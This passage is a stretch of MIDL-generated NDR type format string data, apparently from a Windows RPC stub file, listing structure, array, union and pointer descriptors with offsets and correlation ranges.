*/\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5890 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5892 */\tNdrFcShort( 0xfbfa ),\t/* Offset= -1030 (4862) */\n/* 5894 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5896 */\tNdrFcShort( 0xe904 ),\t/* Offset= -5884 (12) */\n/* 5898 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 5900 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5902 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5904 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5906 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5908 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5910 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5912 */\n\t\t\t0x14, 0x20,\t/* FC_FP [maybenull_sizeis] */\n/* 5914 */\tNdrFcShort( 0xfe72 ),\t/* Offset= -398 (5516) */\n/* 5916 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5918 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5920 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5924 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5926 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5928 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5930 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5932 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5936 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5940 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5944 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5946 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5948 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5952 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5956 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5958 */\tNdrFcShort( 0xffa6 ),\t/* Offset= -90 (5868) */\n/* 5960 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5962 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5964 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5966 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5920) */\n/* 5968 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5968) */\n/* 5970 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5972 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5974 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5976 */\tNdrFcShort( 0x44 ),\t/* Offset= 68 (6044) */\n/* 5978 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5980 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 5982 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5984 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (5998) */\n/* 5986 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5988 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5990 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5992 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 5994 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 5996 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5998 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 6000 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6002 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 6004 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6006 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6008 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 6010 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6012 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6014 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6018 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 6022 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 6026 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 6028 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6030 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6034 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6038 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6040 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (5978) */\n/* 6042 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6044 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 6046 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6048 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (6002) */\n/* 6050 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (6050) */\n/* 6052 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6054 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6056 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 6058 */\tNdrFcShort( 0xea44 ),\t/* Offset= -5564 (494) */\n/* 6060 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 6062 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (6106) */\n/* 6064 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 6066 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 6068 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6070 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 6072 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xe853 ),\t/* Offset= -6061 (12) */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 6076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6078 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6080 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 6082 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 6084 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6086 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 6088 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6090 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6092 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6096 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 6100 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6102 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (6064) */\n/* 6104 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6106 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 6108 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6110 */\tNdrFcShort( 0xffe2 ),\t/* Offset= -30 (6080) */\n/* 6112 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6114 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6116 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6118 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6120) */\n/* 6120 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6122 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6124 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 6126 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6128 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6130 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6134 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6138 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6140) */\n/* 6140 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 6142 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6144 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6148 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (6218) */\n/* 6150 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6149) */\n/* 6152 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 6154 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 6156 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6158 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 6160 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6162 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6164 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6168 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 6172 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6174 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 6176 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 6178 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6180 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 6182 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6184 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6186 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6190 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 6194 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6196 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 6198 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 6200 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6202 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 6204 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6206 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6208 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6212 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 6216 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6218 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6220 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 6222 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6224 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (6244) */\n/* 6226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 6228 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 6230 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6232 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 6234 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 6236 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6238 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 6240 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 6242 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6244 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 6246 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6248 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 6250 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6252 */\n\t\t\t0x14, 0x8,\t/* FC_FP [simple_pointer] */\n/* 6254 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6256 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6258 */\tNdrFcShort( 0xff96 ),\t/* Offset= -106 (6152) */\n/* 6260 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6262 */\tNdrFcShort( 0xffa8 ),\t/* Offset= -88 (6174) */\n/* 6264 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6266 */\tNdrFcShort( 0xffba ),\t/* Offset= -70 (6196) */\n/* 6268 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 6270 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6272 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 6274 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6276 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 6278 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6280) */\n/* 6280 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6282 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 6284 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 6286 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6288 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6290 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6294 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6298 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6300) */\n/* 6300 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 6302 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6304 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6308 */\tNdrFcShort( 0xf4c4 ),\t/* Offset= -2876 (3432) */\n/* 6310 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6309) */\n/* 6312 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6314 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6316) */\n/* 6316 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6318 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6320 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 6322 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6324 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6326 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6330 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6334 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6336) */\n/* 6336 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 6338 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6340 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6344 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (6390) */\n/* 6346 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6345) */\n/* 6348 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 6350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6352 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6356 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6358 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6360 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6364 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 6368 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 6372 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 6374 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6376 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6380 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6384 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6386 */\tNdrFcShort( 0xf05e ),\t/* Offset= -4002 (2384) */\n/* 6388 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6390 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6392 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 6394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6396 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (6402) */\n/* 6398 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 6400 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6402 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6404 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (6348) */\n/* 6406 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 6408 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6410) */\n/* 6410 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6412 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 6414 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 6416 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6418 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6420 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6424 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6428 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6430) */\n/* 6430 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 6432 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6434 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6438 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (6484) */\n/* 6440 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6439) */\n/* 6442 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 6444 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6446 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6448 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6450 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6452 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6454 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6458 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 6462 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 6466 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 6468 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6474 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6478 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6480 */\tNdrFcShort( 0xf0a8 ),\t/* Offset= -3928 (2552) */\n/* 6482 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6484 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6486 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 6488 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6490 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (6496) */\n/* 6492 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 6494 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6496 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6498 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (6442) */\n/* 6500 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6502 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6504) */\n/* 6504 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6506 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6508 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 6510 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6512 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6514 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6518 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6522 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6524) */\n/* 6524 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 6526 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6528 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6532 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (6536) */\n/* 6534 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6533) */\n/* 6536 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6538 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 6540 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6542 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (6552) */\n/* 6544 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 6546 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xe679 ),\t/* Offset= -6535 (12) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6550 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6552 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6554 */\tNdrFcShort( 0xe708 ),\t/* Offset= -6392 (162) */\n/* 6556 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6558 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6560) */\n/* 6560 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6562 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6564 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 6566 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6568 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6570 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6574 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6578 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6580) */\n/* 6580 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 6582 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6584 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6588 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (6598) */\n/* 6590 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6589) */\n/* 6592 */\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 6594 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 6596 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6598 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6600 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 6602 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6604 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (6620) */\n/* 6606 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6608 */\tNdrFcShort( 0xe63c ),\t/* Offset= -6596 (12) */\n/* 6610 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 6612 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 6614 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6616 */\tNdrFcShort( 0xffe8 ),\t/* Offset= -24 (6592) */\n/* 6618 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6620 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 6622 */\tNdrFcShort( 0xe6c4 ),\t/* Offset= -6460 (162) */\n/* 6624 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 6626 */\tNdrFcShort( 0xe80c ),\t/* Offset= -6132 (494) */\n/* 6628 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 6630 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6632) */\n/* 6632 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6634 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 6636 */\tNdrFcShort( 